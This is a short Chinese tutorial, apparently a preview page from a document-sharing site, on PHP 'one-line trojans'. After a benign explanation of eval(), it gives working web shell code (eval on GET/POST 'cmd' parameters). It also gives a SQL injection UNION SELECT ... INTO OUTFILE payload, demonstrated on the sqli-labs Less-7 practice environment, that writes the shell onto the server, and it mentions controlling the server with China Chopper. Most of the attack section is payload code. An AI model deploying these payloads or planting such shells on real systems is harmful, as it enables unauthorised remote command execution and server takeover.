PHP一句话木马
合集下载
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
PHP⼀句话⽊马
eval 函数
eval() 函数把字符串按照 PHP 代码来计算
该字符串必须是合法的 PHP 代码，且必须以分号结尾
如果没有在代码字符串中调⽤ return 语句，则返回 NULL。
如果代码中存在解析错误，则 eval() 函数返回 false
eval 函数的⼀般⽤法
eval() 函数⽤于简单的⽂本合并
<?php
$string='cup';
$name='coffee';
$str='This is a $string with my $name in it.';
echo$str."\n";
eval("\$str=\"$str\";");
echo$str."\n";
>
以上例程会输出
eval() 函数的特殊⽤法
⽤于构造⼀句话⽊马
eval($_GET["cmd"]);
两种⽅式
通过数据库写马
环境：sql_labs Less-7
写⼊⼀句话⽊马
union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile 'd:/wampserver/wamp64/www/sqli/sqli/Less-7/twx.txt'%23 使⽤中国菜⼑进⾏连接
可以访问并操作服务器⽂件
通过PHP ⽂件写马
<?php
eval($_GET["cmd"]);
>
访问PHP ⽂件，查看phpinfo()。